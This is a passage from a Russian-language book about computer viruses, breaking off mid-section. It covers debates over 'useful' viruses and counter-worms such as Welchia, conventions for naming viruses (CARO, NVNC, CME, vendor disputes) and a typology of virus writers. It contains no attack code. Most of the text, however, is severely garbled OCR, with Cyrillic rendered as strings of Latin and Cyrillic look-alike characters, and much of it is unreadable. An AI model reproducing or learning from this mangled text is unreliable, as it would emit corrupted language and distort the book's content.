B cBoell crathe «Ilo-TIpekHEMY JIM MJI0Xa UJIEST O XOPOIIUX KOMITHIOTEP-
HbIX BUpycax?» [34]. On ompocu 60JIbIIOe KOJIMYECTBO CIIEMUAIICTOB
U MPOCTBIX MOJIb30BATEJIEH, PACCMOTPEN MHOKECTBO apPTYMEHTOB «3a» U
«IPOTUB» U TIPUIIEJ K CJEIYIONIM BHIBOJIAM.

Bonuep cumurai, 4To abCOMIOTHO OE3BPEAHBIA M JOSIbHBIA K CHUCTe-
Me BUPYC HAmmcath HEBO3MOXHO. JIio0ast mporpaMma, B TOM YUCHE U
KOMITBIOTEPHBIN BUPYC, HE MOXKET OBITH CTOIIPOIEHTHO COBMECTUMA C CH-
CTEMHBIM OKPYKEHUEM U MPUKJIAJHBIME IIPOTPAMMAaMHU, [IPUYEM, KaK YIKe
OTMEYAJIOCh BBIIIE, 3TA HECOBMECTUMOCTh CO BPEMEHEM YBEJTMUMBAETCSL.
C npyroii CTOPOHbI, BUPYC «HE3aKOHHO» TI0JIb3YETCSI PECYPCAME KOMITHIO-
Tepa — 3aHUMAET ONEPATUBHYIO TTAMSITH U IHCKOBOE IPOCTPAHCTBO, TPATHUT
poreccoproe Bpemst. Kpome Toro, Gy yun O{HaK/Ibl BBITYIIEH B «IUKYIO
[IPUPOJLY», BUPYC JAJIbIIIE PACIIPOCTPAHSIETCSI ¢ KOMITBIOTEPA HA KOMITBIO-
Tep COBEPIIEHHO GECKOHTPOJIBHO, U TIOBJIUATH HA €10 «CY/AbOY», B OTJIH-
4ue OT OOBIYHON TIPOTPAMMBI, HEBO3MOSKHO.

ITo mporiecTBUU HECKOJIBKUX JIET YK€ BUIHO, YTO DOHYEB MpaB jiae-
KO He BO BceM. Bo-T1epBbIX, yiKe YIIOMSIHYThIE BbIllle MAKPOBUPYCHI, €CJIU
OHU He coJiepsKaT rpyObIX OMIMOOK U 3aBEJIOMO BPEJIOHOCHBIX (DPArMEHTOB,
ObLIN, eCTh ¥ OYIYT HPaKTUYECKU UIeabHO IIPUCIIOCOOIEHbI K CPelle CBO-
ero oburanus — gokymentam MS Word u asexrponnbiM Tabsminam MS
Excel, mockosbKy mporpaMMHBIE MEXaHU3Mbl CAMOKOIUPOBAHUS KOJA
ObLIM M3HAYAIbHO 3aJI0JKeHbl npoussBoputesneM (pupmoii Microsoft)
B cpeny WordBasic/VBA kak abcouioTHo Jieraibhbie cpencrsal Bo-sro-
PBIX, €CJIM TOBOPUTH O BUPYyCaX JIPYTUX KJIACCOB, TO HE TAK YK CJOKHO
[peICTaBUTh cebe U Pean30BaTh CAMOKOIUPYIOMIUICS KO, KOTOPbIN
€CJIM He CAMOYHUYTOXKAETCS 110 MPOIIECTBUH OTIPEIEJEHHOTO CPOKA MU
[0 OIPEJIETIEHHOM «KOMaH/Ie», TO XOTsI Obl OTPAHMYMBAET CBOIO AKTHB-
HocTh. HakoHel, CymiecTBYIOT POrpaMMHbBIE KOHCTPYKIIUH, KOTOpPbIE
YMEIOT cOo3/1aBath (B TOM 4YHCJE U HE3aMETHO /I T0Jb30BaTest) cob-
CTBEHHbIE KOIIUH, HO MIPU 3TOM SIBJISTIOTCSI HEOTHEMJIEMOI YaCcThiO OIepa-
[UOHHBIX CHCTEM, — Pa3Be OHU TOKE BPEIHBI?

Bonues npuBes Takke MHOKECTBO CyObeKTUBHBIX (I014aC OUEHb KYPb-
€3HbBIX ) API'YMEHTOB B IO/JIEPIKKY TUIIOTE3bI O «BPEAHOCTU» BUpYCcOB. Ha-
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rpumep: Jiodoe HHGUIUPOBAHKE ITPOTPAMMBI — 3TO HECAHKI[HOHMPOBAH-
Hast MOAUDUKAIINS ee KO/, TAKUM 00Pa3oM, UCIIOJIb30BAHUE BIIAJIEIbIIEM
3apaKCHHON MPOrPAaMMbl CTAHOBUTCS HEIOIYCTUMBIM C IOPUINYECKON
ToukM 3peHust. Vlm BOT elie: Ha BUPYCBHI HET U HE MOXKET CYIIECTBOBATD
HUKAKUX «KOMMPARTOB», TAKUM 06Pa3oM, JI0OO0H IPOrpaMMHUCT CriocobeH
OTJIOBUTDH «3apa3y», MOAUMUIINPOBATD €€ [10 CBOEMY KEeJIAHUIO U ITYCTUTD
nasbiie. Hakorel, caMblil «yGOMHBIIT» apryMeHT: 3a110103pUB (BO3MOK-
HO, COBEPIIEHHO 6e30CHOBATENbHO!) HAIMYKME HA CBOEM KOMITbIOTEPE BU-
pyca, oJb30BaTe b HAYMHAET GECIIOKOUTHCS, TIPEeKpaIaer pabory, Tpa-
THUT JICHBTH U BPeMs1 Ha TIPHOOPETEHNE U 3ayCK aHTUBUPYCOB... Kopoue,
BUPYC YaCTO OKA3bIBAETCA OIIACEH HE TI0TOMY, YTO peajibHO BPEIOHOCEH,
a TI0TOMY, YTO TaKOBA €T0 PeIyTallus.

[TyTKy HryTKaMu, HO 1o pas3HbIiM olieHKam, ot 50% 10 80% yiepba, Ha-
HOCHMOTO KOMIIBIOTEPHBIMU BUPYCAMU MUPOBOI MH/IyCTPUU, CBSI3AHbI HE
¢ OOBEKTUBHBIMU TEXHUYECKUMU TIPHYMHAMU, HO C Y€JI0BEUECKUM (haKkTo-
pom. IToHeBoIe XOUeTCsT 33/1aTh BOIIPOC: a CYIIECTBYIOT Jin «Oe3Bpe/HbIe
I0JIb30BATEN» ?

Ha Bompoc e 0 BO3MOKHOCTHU CO3/IaHUS «I10JIE3HBIX» BUPYCOB bBoH-
YyeB TakkKe OTBeYas oTpuiiaTesbHo. OH paccMOTpes HECKOJIbKO BAPMAHTOB
BUPYCOB, AKOObI TPEIHA3HAYECHHBIX [IJIs1 BBITIOJHEHUS KaKUX-JM00 <I10-
JIE3HDBIX» IEHCTBUM, U TOKA3aJl, YTO OTEPU OT UX UCIIOJIb30BAHUS ITPEBBI-
1AI0T BBITO/TY.

Hamnpumep, coMmuuTenpHON TpescTaBignach boHyeBy BO3MOMKHOCTD
ucnonb3oBatusi Bupycos tuna Cruncher, HesamerHo mnepeHocsmuxcst
¢ KOMIIbIOTEPA Ha KOMIIBIOTEP M «CKUMAIOMMX» (aiinbl (Hanozobue ap-
xuBaropos kjiacca ZIP, ARJ win RAR) u mucku (Hamogobue apaiiBepos
DoubleSpace nnu Stacker) ¢ menpio 9KOHOMUU IIPOCTPAHCTBA Ha BHEII-
HUX HOcUTesgX. [110X0, ¢ ero TOYKM 3peHus, TakKe BBITJAAENA Ues
«AHTUBUPYCHOTO BUPYCa», ATAKOTO CAMOPA3MHOKAIOIIETOCS «PeHeraras,
GJIOKUPYIONIETO U YHUYTOKAIOMIETO cBouX cobparbeB. OCHOBHOI apry-
MeHT BonveBa He3aMbICIOBAT: BCe Te JKe JIeCTBUS TOPAs/o IPOIIe, Je-
nresJie, apdexTrBHee 1 Ge30MACHEE BBIMOJHSITH IPU TOMOIIH 00BIYHBIX
[IPOrpaMM.

Tem He MeHee cama KU3HD y:Ke onpoBepria bonuena.

Ceiiuac, B 9110Xy MOJHUEHOCHO PACIIPOCTPAHSIONUXCS [0 TI00ATBHBIM
CETSM DIUIEMUIA, Uest «<KOHTPUYEPBsT» BBITJISIAT rOpaso OoJiee TpuBJie-
KatesnbHoM, ueM 10—15 set Hazax. He kakercst Takoil y:k (paHTaCTUIHON
CHUTYaIHsI, KOTJIa KOMITBIOTEPHBI MHUP OKAJKETCSI 1epesi BHIOOPOM: N
«CTEIHON MoKapy, MYIIEHHBI HABCTPeUy JIPYroMy TaKOMY Ke <IOKa-
py», WK TOTAJIbHOE OTKJIIOUeHNE 3aPasKeHHbIX MaluH (U TesiepoHOB)
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C IOCIeAYIOMNM A00BIBAHUEM U YCTAHOBKOI «JIeKapcTB» BpyuHylo. ITo-
xoske, yTo uepBb Net-Worm.Win32.Welchia 8 2003 rozy aeiicrBuresbHo
BBICTYIIUJT B POJIM TAKOTO <KOHTPITOJKAapay U IMOMOT B «TYIIEHUU» TJIO-
GasnpHoil anugeMun 4yepssa Net-Worm.Win32.Lovesan, mnpessoiias 1o
addexTuBHOCTH «JIeraJbHble» METOJIbI ITPOTUBOIENCTBUS AITUIEMUU.

Kopoue ToBOpst, TOYKY B MCTOPUU PaspelieHus IpodaeMbl 0 BO3MOK-
HOCTH CYIIECTBOBAHUS «GE3BPEIHBIX> 1 «II0JIE€3HBIX» KOMITBIOTEPHBIX BU-
PYCOB CTaBUTh PaHoO. V1 Bpsiji it 9T0 BOOOIIE BO3MOKHO, IIOCKOJIBKY, C O/1-
HOU CcTOPOHBI, 110J1 (hOPMaJIbHOE OlpejiesieHrie KOMITbIOTEPHOTO BHUPYycCa
MOJITA/IAET CJMIIKOM IUPOKUI KJIacC IPOTPAMM Pa3JINYHOTO Ha3HAYEHU ST
(HEKOTOpbIE CHEMUATICTDL JasKe CYUTAIOT, YTO HauboJiee PaCIipOCTPaHEH-
HBIM BHU/IOM KOMITBIOTEPHBIX BUPYCOB SIBJISIIOTCSI CAMU OTlePAIlNOHHbIE CH-
CTEMBI), a C APYTOIl — IIOHATUS «BPEIHbIII» U «I10JIe3HbII» Kpaiine cyOb-
€KTUBHBL.

Ml eliie TOCBSITHM PACCMOTPEHUIO 9TOT0 BOIIPOCA HECKOJIbKO CTPAHMUI]
B ITOCJIETHEIN YaCTH KHUTH.

1.5. O Ha3BaHMSX KOMNbLIOTEPHbLIX BUPYCOB

IInanemuvl napexaruce no naseanusm cmpan u
20p0008, NO UMEHAM TIOOUMBIX JUMEPATNYPHBIX
2epoes, nazeanusm npudopos U Npocmo 2pom-
KUMU 36yKocouemanuimu. A y Kozo ne xeamaio
panmasuu, mom 6pan xaxyo-nubyov Knuzy, om-
Kpwlall Ha Kaxou-HubyobL cmpanuye, evloupai
Kaxoe-nubyov cio6o u Kak-nubyob ezo nepede-
JOIBAL.

A.u B. Crpyrankue. <ITombiTka Kk GercTy»

He criemyer uckaTh Kakoro-HUOy/b MOTAGHHOTO CMbICJA B HA3BAHUSAX
KOMITBIOTEPHBIX BUPYCOB.

[TepBbIe KOMIIBIOTEPHBIE BUPYCHI IOy CBOM MMEHA B OCHOBHOM TT0
BHEILHUM [IPOSIBJICHIAM, IIPUYEM HEPEAKO Y OJIHOTO BUPYCa ObLIO CTOJIBKO
UMEH, CKOJIbKO Pas3HBIX JI0IeH 00HAPYKUBAJIM €I0 Ha CBOEM KOMIIbIOTEDE.
Hanpumep, cpean HauMeHOBaHWIT CTAPUHHOTO BUPYCa, OCHIIABIIEr0 OYK-
BBl Ha 9KpaHe MOHUTOPA, BCcTpevanch: «byksomnasy, LetterFall, «Ciesst
kanaan», Rush, Letters, a ceiiuac on nam nssecren kax Cascade.1071.

Ho BpeMena, Koria ObLIM PacipOCTPAHEHbI «CaMOJICYEHUE» M «CaMO-
HanMeHOBaHUe>, TaBHBIM-1aBHO mporin. Ceffuac MbI y3HaeM O Ha3BaHU-
SX BUPYCOB, IPOYUTAB MX B OTYETE, KOTOPHIM HAC CHAGKaeT aHTUBUPYC
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MOCJIe YUCTKU HANIMX KOMITBIOTEPOB OT «3apasbl». ITO UMEHA, MOJ| KOTO-
pbiMU uHMOPMAIIKS O BUPYCaxX 3aHeCeHa B aHTUBUPYCHYTO 6ady, U aBTOPBI
3TUX UMEH — ITpodeccnoHaNbHbIe BUPYCOJIOTH.

B nanexom 1990 roxy H. H. Beapykos B cBoeit Monorpaduu « Komiibio-
TepHAs BUPYCOJIOTUS»> TIPEIIOKII (POPMATBHYIO CUCTEMY HAUMEHOBAHUS
KOMITBIOTEPHBIX BUPYCOB. Kakoe uMst JOJKHO ObLIO HAYMHATHCS C 110~
CJIeIOBATEHBHOCTH OYKB, OIMHUCHIBAIOIINX 00IHe KIaCCU(DUKAIMOHHBIE
MPU3HAKKU BUPYCA: «I'»> — Pe3uJIeHTHBIH, «c» — 3apaxkaetr COM-daiinnbi,
«e» — zapakaer «EXE-daiinbi», «b» wim «m» — 3arpysounsiii u T. 1. Jla-
Jiee JIOJKHO OBLIO CJIe[0BATh YUCJI0 — JJIMHA BUPYCHOTO Tejia B Oaiitax.
3ambIkaTh 9TOT aabaBUTHO-UM(POBOH MAeHTH(GUKATOP ObLI IIPU3BAH
Heo0a3aTeIbHbI OYKBEHHbI «Cy(POUKC», XapaKTePU3YIOMINN YHUKAIb-
HOCTb BUPYCa B Psily cOOpaThes, 00JaaloNUX CXOKUMU (hOPMaTbHBIMU
npusHakamu. Harnpumep, corsiacHo a1oii cucreme, Bupyc Cascade nasbi-
Basicsa RCE.1701.a. Ciiminikom skectkast cucrema H. H. Be3pykoBa B utore
He MIPUKIIACH, HO HEKOTOPbIE ee Ulen UCTIOIb3YIOTCS 10 CUX T10P.

YyTp 1osxe, B 1991 I. HEKOTOPbIE MHOCTPAHHBIE BUPYCOJOTH, 00b-
exunusiiich B CARO — Computer AntiVirus Researcher Organization,
TaKsKe TOMBITAIUCH Pa3paboTaTh W MOANUCATh YHUBEPCAIbHYIO KOHBEH-
nuio o HanMmenoBauusix HOBbIX BUPycoB (NVNC — New Virus Naming
Convention). OHa ocHOBbIBaJIaCh Ha IIPUHIMIIAX, pa3paboTaHubix Kap-
JioM JInHHeeM /1711 KIacCuUKAINY JKUBBIX OPTaHU3MOB IIJIAHEThI 3eMJid,
u TpeboBasia OT BUPYCOJIOTOB MIPEJCTaBAATh UMs BUpyca B popme «Ce-
meiictBo.Ipynna.Bapuant.Ilogsapuant [:Moauduratop]» nmm «Kmacc.
Cewmeiicto.Ipynma.Bapuant.ITogsapuant [:Moaudukarop]», Hanpumep
«Virus.DOS.Cascade.1701.a». Taxxe Bupycosoru cobupanuch 10roBo-
PUTBCS, YTO HE CTOUT JIaBaTh BUPYCaM UMeHa KOMITAHUI, TOPTOBBIX MapOK
u Jrioieit (He ABJIoONuXCs apropamu BUpycoB). Kak a1o o6bruHo ObiBaer,
KOHBEHIUIO MAJIO KTO TIOJIIICAJ, XOTSI HEKOTOPBIMU €€ TIPUHIIATIAMHU BOC-
[OJIb30BAJIUCH U TIPOJIOJIKAIOT MOJIb30BATHCSA MHOTHE (PUPMbI — pa3paboT-
YUKW aHTUBUPYCOB.

ITonbiTKK IepeiiTh Ha «OOIINIA SI3bIK> IPEAIIPUHUMAINCH ellle HeOHO-
KpaTHO, HO K TIO3UTUBHOMY MTOTY Tak U He npuBesu. [Ipennaranocs kak
MaKCHUMaJIbHO YCJIOKHUTH U (hOPMaIU30BaTh CUCTEMY HAaWMMEHOBAHWH,
4yTOOBI 110 OAHOMY TOJIBKO ajihaBUTHO-IU(PPOBOMY HIEHTUDUKATOPY
MOKHO GBIJIO OTIPEIEUTh OCHOBHbIE XaPAKTEPUCTUKK 1 MAPaMeTPhl BU-
pyca, Tak ¥ [peesibHO YIPOCTUTD €€, IPOCTO ITPUCBOUB TOPSKOBBIM HO-
mep (mpoektr CME — Common Malware Enumeration). ¥YBsl, no obuieit
CUCTEeMbI HAMMEHOBAHUS BUPYCOJIOTaM, KUBYIIMM B Pa3HbIX CTpaHax U
paboTAIONMM B KOHKYPUPYIOIIUX KOMIAHUSIX, CO3/IATh TIOKA HE YIAJI0Ch.
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Bor, nampuMep, Kak Ha3bIBAeTCsI OJUH U TOT K€ BUPYC C TOUKU 3PEHUS
TPeX Pa3JINYHbIX AHTUBUPYCHBIX KOMITAHUI:

O E-Worm.Win32.Zafi.d — Autusupyc Kacriepckoro (Poccust);

O Win32.HLLM.Hazafi.36864 — DrWeb (Poccus);

O W32.Erkez.D@mm — Norton (Symantec) Antivirus.

B uucre knaccuuKauoOHHBIX TPU3HAKOB, BBIHOCUMBIX B (POPMaJib-
HBII HeHTU(HUKATOP ITUX BUPYCOB, MOXKHO OOHAPYKUTD:

O npwuniun pactpocrpanenus («E-Worms — ouToBbIil niam «mms —

mass mailing);

QO yasBumyio g gaHHoro Bupyca 1atdopmy («Win3d2s wim
«W32» — cemelicTBO 32-pa3psiHbIX OllepallMOHHbIX cructeM MS
Windows);

O xapakrepuctuky BupycHoro koja («HLLM» — nanucan na kakom-
TO sI3bIKE BBICOKOTO YPOBHSI);

O pauny BupycHoro tesa (36 864 Gaiira) u mpouee.

Xopolio X0Tb, uTo B IpumMepe ¢ yepseM Zafi BUpycoJioru pasonninch
BO MHEHUSIX II0 TTOBOJY UMEHH, HO BCE-TAKM UMEJU B BUIY OIHY U TY
JKe Pa3HOBMIHOCTD «3apa3bi». Ho Benb cpeiu cospartesell HEKOTOPBIX
antuupycos (Hanpumep, DrWeb) npocmarpuBaercst TeHpeHIsS ja-
BaTh YHUKAJIbHbIE NMEHA HE OTHeJbHBIM BUPYCaM, HO JeYallluM aJro-
pUTMaM, BCTPOEHHBIM B aHTUBUPYC. B pe3ysbraTe eciiv OUH aJIropuT™M
MO/XO/IUT JIJISA JIEUEHUsI COTHH PAa3JIUYHBIX BUPYCOB, OOHAPY/KEHHBIX Ha
BallleM KOMIIbIOTEPE, TO B OTYeTe, CPOPMUPOBAHHOM TAKUM AHTUBUPY-
COM [0 UTOTaM JICYEHUs], TOJBKO OJIH 9TOT aJTOPUTM ¥ OyeT YIOMSI-
HyT. Bugumo, 310 fesaercs crnenuaibHo st obJierdenusi paboThl mpa-
BOOXPAHUTEIbHBIX OPTAHOB: €CJU B UX PYKH IOTANETCS aBTOP OHOTO
U3 3TOU COTHU BUPYCOB, TO MY MOJKHO 320/[HO IIOCTaBUTh B BUHY BCe
pasHo0OpasHble MOBPEKIEHUST, HAHECEHHBIE OCTATBHBIMU JEBSTHOCTO JIe-
BaTbio. [IlyTKa.

He nariu o01ux MEEHUI BUPYCOJIOTU U TI0 MTOBOLY He(OPMAIbHOTO
HanMeHoBaHus BUpyca (koroporo, kcratu, B cucteme H. H. Bespykona
BooOIIe He ObLIO mpesycMoTpero). OObIYHO OBUIENPUHITHIM CPEIU BU-
PYCOJIOTOB PA3HbIX CTPAH CTAHOBUTCS TO HAMMEHOBAHUE, KOTOPOE JaeT
BUPYCY €ro «IIepPBOOTKPbIBaTEb>. HO B COBpPEMEHHBIX YCIOBUSIX MOJTHM-
€HOCHBIX CETEBBIX DIUIEMUI ITO TIOHIATHE TEPSIET IPAKTUUECKUI CMBICJI,
orciozia 1 abCOMOTHBII PasHO00I B HANMEHOBAHMUSIX.

B posin «11epBOOTKPBIBATEsI» OOBIYHO BBICTYIIAET KOHKPETHDIN YesI0-
BEK — COTPYAHUK aHTHBUPYCHOI JabopaToOpuu, 3aHUMAIONIUIICA U3yde-
HUEM BUPYCHOTO Koja. VI 0OBSICHUTD, TIOUEMY BUPYC MOJYYUJ TO N
nHoe He(hOpMAIbHOE HANMEHOBAHUE, CIIOCOOEH TOJBKO OH.
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Kazanoch Obl, MOKHO OKPECTUTD BUPYC TaK, KaK €ro Mpenovest Obl Ha-
3BIBATh CaM aBTOP. B Tejie BUpyca 4acTo BCTPEYalOTCs TEKCTOBbIE CTPOKH
tuia «SVC», «Civil War», «Murzic» u npouune, o06eryaionuye 3agady Bbl-
6opa umenu. Takke HEIUIOXO HA3BaTh BUPYC B COOTBETCTBUH C MECTOM
ero cosganusa wian obHapyxenus (Jerusalem — <«HMepycamum»), nmem
aktuBaiy (BlackMonday — «YepHblii OHEAEIbHUKS ) UK C TIPOU3BO-
mMbIM ayanosuaeoaddexrom (Ambulance — «cxopas nomonibs). Ho
Kak 1osiBJstiorcss uMena tuia Baba (Bmecto «Tosapuin JIO3uHCKUI» ),
DebilByte (Bmecto «DevilByte»), FFFF (8mecto «CDEF»), Babec
(Bmecto «BABC») 1 tomy nogo6ubie? OKasbIiBaeTcst, HEKOTOPbIe aHTUBH-
pyCHbIE KOMIIAHUU JI0 CUX TI0P CTAPAIOTCS MPUIEPKUBATHCS OTAEIbHBIX
npaBuJi, oroBopeHHbix B coraniennu NVNC, — B 4acTHOCTHU TeX, KOTOPbIe
PEKOMEH/IYIOT JIaBaTh BUPYCaM Kak pa3 GecCMbICTIEHHbIE MEHa.

ITpaktuka 06pa3oBaHUsT BUPYCHBIX UMEH TIOPOU CTAHOBUTCST OPYAUEM
B KOHKYPEHTHOI 60pb0e MEX/y PasiMIHbIMU aHTUBUPYCHBIMU (hrpma-
MU, KOTJIa OHY Hatlepeboii Uy T «COPUHKK» B 4y/KUX IJIa3aX. Bot mpumep
OJIHOTO U3 TIOJI0OHBIX TIPECC-PETUIOB:

...Ha npotunovi Henene onpeneneHHoe oceelyeHne B CMU nonyqun
HOBbIVI P2P-4yepBb... MHOXECTBO aHTUBUPYCHbIX KOMMNaHWi AeTek-
TUPOBaJInN 3Ty BPELOHOCHYIO rporpamMmy kak Polipos, n MeHHO 3TO
HaaBaHue roJ1y41sio LUNPOKOE pacrnpocTpaHeHne. Ho npasuibHO v
Ha3bIBaTh YepBsi 9TUM Ha3BaHnem? B Tesne 4epBsi cogepxuTcs cie-
ayowmii teket: «Win32.Polipos v1.2 by Joseph». [laB aTOMy 4epBIo
HasBaHune Polipos, aHTUBUPYCHbIE KOMMaHWu roAHSIN N3 HeObITUS
atnyeckyro annemmy. C 04HOV CTOPOHbI, 9TUM LOCTUraeTcsl BbICOKasi
CTerneHb MAEHTUYHOCTU Ha3BaHwii y pa3Hbix BEHA0POB... C apyroi
CTOPOHbI, OAHUM U3 HENucaHbIX rpaBusl aHTUBUPYCHOM UHAYCTPUN
[Ha camom aene ato ogHa n3 pekomeHaaumii NVNC - K. K. ] asensetcs
nzberaHve npuceanBaHus BPELOHOCHbLIM MPorpaMmamM Ha3BaHW,
KOTOpble UM [anu ux aBTopbl. Vlcxoas n3 aTux AByX COOBPaxxeHui,
Mbl nepenmeHoBasn 4epssi 3 Polipos B Polip n Hageemcs, 4To aApy-
rne aHTUBUPYCHbIE KOMIMAaHWM NOC/AEAYI0T HaLlemMmy rnpumepy...

OpHasK (bl TUIIMYHBIN «TBOPYECKUIT TOYEPK> U300peTaTeist BUPYCHBIX
umen obHapoaosas Asekc Tocres, corpyaauk Jlabopatopuu Kacrepckoro:

... Tak XX noJs1iy4nnoch, 4To s bl KPECTHBIM OTLIOM MPaKTUHECKN BCEX
aNUAEMUOJIOrNYHbIX BUPYCOB B NOCAEAHNE roAbl, TO3TOMY MOrY Mo-
Befarb BaM 3TO M3 CaMbiX NEPBbIX PYK... BapmnaHT Sobig.F 6bin kpyr-
HewLIen BUPYyCHOV anvaemMueri 3a BCO NCTOPUIO VIHTepHeTa, BrioThb
Ao sgHeapsi 2004 roaa... B HacToswee Bpemss B CMW n ctatpsix IT-
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crneumnaancToB MOXHO BCTPETUTb TPAKTOBKY €ro Ha3BaHusl, BbIBOAMN-
MYIO B TOM YUCJ1Ee 1 M3 caMoro ¢akTta anuaemmmn — «Bupyc 6bii1 Ha3BaH
Tak (“So Big!”) n3-3a 6osblLLOro pa3mepa CBoOero garina, a takxe
13-3a 60/IbLLIOIr0 Y1Ca MNOPaxXeHHbIX MM KOMIbIOTepoB». Bce aTo co-
BCceM He Tak. :) Pa3amep ¢arinos yepBeri cemerictea Sobig Hukoraa He
npesebitan 100 K6 (gns Sobig.F — 70 K6), 4To siBnsieTcs, B npuHUmMne,
cpenHuM rokaaaresieM /1S o4YTOBbIX YepBeu... BapuaHT «A» pac-
rPOCTPaHS/ICS B MMCbMax, B Ka4eCTBe aapeca OTrpaBuTesIs KOTOPbIX
3Ha4unscs «big@®boss.com». Yl cHoBa a5l NpuayMbIBaHUS UMEHU HaMu
Ob1s1 BbIOpPaH AaBHO M311001EHHBIVE CrTOCO0 CKJ1IeMBaHWSI HacTeli CJ/10B:
BIG@bOSs.com — «buroc» 3By4UT KPpUBOBATO, MNO3TOMY KOE-4TO Me-
Hgem n —on-nal...

BupoueMm, GbiBaeT M Tak, 4TO MMeHa, M300pETEHHbIE BHPYCOJIOraMU
B [IOTE JIMI[A CBOETO U OTPAKAIIIIE KaKyI-HUOY/b XapaKTePUCTUKY BH-
pyca, 3a0bIBAIOTCS, & CAHOHUMBI, TIPUYMaHHbBIE [T HUX Ky PHATMCTAMMY,
3HAET MOYTH Kask/blii. Tak, HarpuMep, MPpOU30ILIo ¢ Bupycamu Stoned.
March6 («Michelangelo») 1 Win9X.CIH («YepHoObLIbCKHIT» ).

Her, He caenyer uckarh Kakoro-HuGyib MOTa€HHOTO CMbIC/IA B Ha3Ba-
HUSAX KOMITBIOTEPHBIX BUPYCOB!

1.6. KTO 1 33a4em nuweT BMPYChI

— Ham nasuanos ompaxiacamo HaaO, a mol mym
6 NOJIUUUIO UZPAEM...

A. u B. Crpyraukue. «Ipaz oOpedeHHbIN»

ITO BOIPOC, KOTOPBII HETb3st 0G0UTH, XOTSI TIOAPOOHOE PACCMOTPEHIE €T0
BBIXOJIUT 32 PAMKH Halllell KHUTH.

[Ipesxze Bcero ciemyeT OTMETUTD, YTO BCE MHOKECTBO BUPYycCOTHcaTe-
Jiell HEBO3MOJKHO BTHCHYTH B TIPOKPYCTOBO JIOJKE KaKOW-mbo ompese-
JIEHHOW cOTMaIbHON rpymisl. CyliecTBYONNE U IMTUPOKO PACTTPOCTPAHSI-
eMbI€ CO CTPAHMUII [TeYATHBIX M3/IaHN Oe3are/IISIIIHOHHbIE MHEHHUST O TOM,
YTO BUPYCHI MUIITYT UCKIIOUNTEIBHO «HEHABUCTHUKH BCETO POIa YeT0Be-
YECKOT0», «<KOMITBIOTEPHBIE BAaHIAJIbI» WJIH «03JI00JICHHBIE HEOYUKI»>, HE
BBIZIEPKUBAIOT HUKAKOW KPUTUKHU W CBU/IETELCTBYIOT JINTITb O HEYMEHUH
(MM HE)KeJTaHWK) aBTOPOB BBICKA3bIBAHUIN MOZOOHOTO Pojia BHUKHYTh
B CYTh BOITpOCA.

Takke He CTOUT TOAPOOHOTO OGCYKIECHUST TE3UC O TOM, YTO BUPYCHI,
MOJI, TAIITYT CAMY COTPYTHUKI aHTUBUPYCHBIX KOMIIAHUH, 4T0ObBI 0Gectie-
qiTh cebst PaGOTON U MOCTOSIHHBIM JIOXOI0M. BepuTh B 5TO MOTYT JIMIIIb
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JIIOJI, HeajleKBaTHO BOCIIPUHUMAIOIINE OKPYsKAIOIyI0 [eHCTBUTENb-
HOCTb, — U0 M0 MpUYNHE rIyboYaiiiiero HeBexecTBa, 1160 BCJIEACTBUE
NPUBBIYKY TJI/IeTh HA MUP 4epe3 MYTHYIO 1Ipu3My MusaHTpornuu. Vm
X0YeTcs HATOMHUTD U3BECTHYIO M3/IeBaTeJIbCKYI0 nTaTy 13 B. Karaesa:

...Benpb 6b1710 peLumTensHO BCEM M3BECTHO, YTO LUAPMAaHLUMKU 3a-
MaHWBaKT MaeHbKUX AETE, KpaayT ux, BblIaMbIBaIOT PYKU U HOIU,
a noTom nponarT B banaraH akpobaram... ITo ObI/I0 Tak xe obLye-
M3BECTHO, Kak TO, 4YTO KoOHGeTamu pabpuku «bp. KpaxmaibHUKoBbI»
MOXHO OTPaBUTLCS VI HTO MOPOXEHLUVKN AEal0T MOPOXEHOE U3
MOJ10Ka, B KOTOPOM KyraJiv 60/IbHBIX. ..

HarnoMHUTB — ¥ 3aKPBITH Ha 3TOM 00CYKIEHUE.

Urak, B 1990-x rogax E. Kacnepckuii no npusHaxy noGyauTeabHbIX
MOTHBOB K HAIMCAHUIO BUPYCOB BBIJIEJISLII Y€THIPE IPYIIIBI BUPYCOIIUCaTe-
Jieil: «CaMOYTBEP:KIAIOIINECST», «XYJIUTaHbl», <[TPODECCUOHAIBI» U <UC-
cienoBaresiy. Ha Mol B3rJIsi/i, HAI0 HECKOJIBKO [IEPEOIPEIETUTD 1 Tepe-
MMEHOBATH 3T IPYIIILI 1 JI0OABUTH K HUM IISITYI0: <KOPBICTOJOOIIBI>.

1.6.1. «CamoyTBepxpaiowmecs»

K aroii rpymme E. Kacrniepckuii oTHOCHII HAUMHAIOTIUX BUPYCOTIHCATEENH,
CO3/IAIOIINX OTHOCUTEIHHO MPOCThIE CAMOPA3MHOKAIOIINECS TTPOrPaMMBbI
C 1EJIBI0 POBEPUTH CBOU 3HAHUSI U YMEHUST B 00JIACTH CUCTEMHOTO TIPO-
rpaMMupoBatus. J{eficTBUTEIbHO, CAMOCTOSTENLHO Pa300paThCst B IPUH-
[uax paboThl ¥ HAMKCATh CBO (2 HE CKOMIMJIMPOBAHHBIN M3 CJIETKa
MOJM(MDUITMPOBAHHBIX YYKUX HCXOAHBIX TEKCTOB) BUPYC OCTATOYHO
TPY/IHO, & TIOTOMY, TIOJKaJIy i, TOueTHO. B aTy rpyIIiny cjie10Baio Obl BKJIO-
YUTb U 60JI€6 MIPOABUHYTBIX, COBCEM HE HAaYMHAIONIUX ITPOTrPaMMUCTOB,
TECTUPYIONUX CBOW TIPO(heCCHOHATBHBIE BO3MOXKHOCTH TOCPECTBOM
HAMUCAHUST He «BUPYCOB BOOOIIE», HO CJOKHBIX B M3TOTOBJIEHUH KJIAC-
COB CaMOPa3MHOKAIONTUXCS MMPOTPAMM — PE3UIEHTHBIX BUPYCOB, BUPY-
COB-HEBU/IMMOK, MOJTUMOP(hHBIX U MMEPMYTUPYIONINX BUPYCOB U TIPOYUX.
«CamoyTBepsKAaoIIecs» BUPYCOTHICATEH, KaK MPABUJIO, HE BBITyCKa-
10T CBOU TBOPEHMSI «B CBET». B KpaifHeM ciryyae OHM MOTYT IIOXBAaCTaThCs
cBOeil paboToil TIepesr TOBAPUINEM UJIH MOCTIATh €€ TPO(eCCUOHATbHOMY
BUPYCOJIOTY — «Ha BCIKUH CJIydail» M <111 KOJJIEKIUN».

1.6.2. «YecTOonoOUbI»

meer cmbica BbLJIEJINTH B OTAEJIbHYIO — O4Y€Hb 6OJIBI_HyIO! — rpynmy
BI/IpyCOHI/ICB.Te]Ief/’I, OIE€PKUMBIX ciaaBoit. Vim AO0CTaBJIAAET HEMAJIOE Y/10OB-
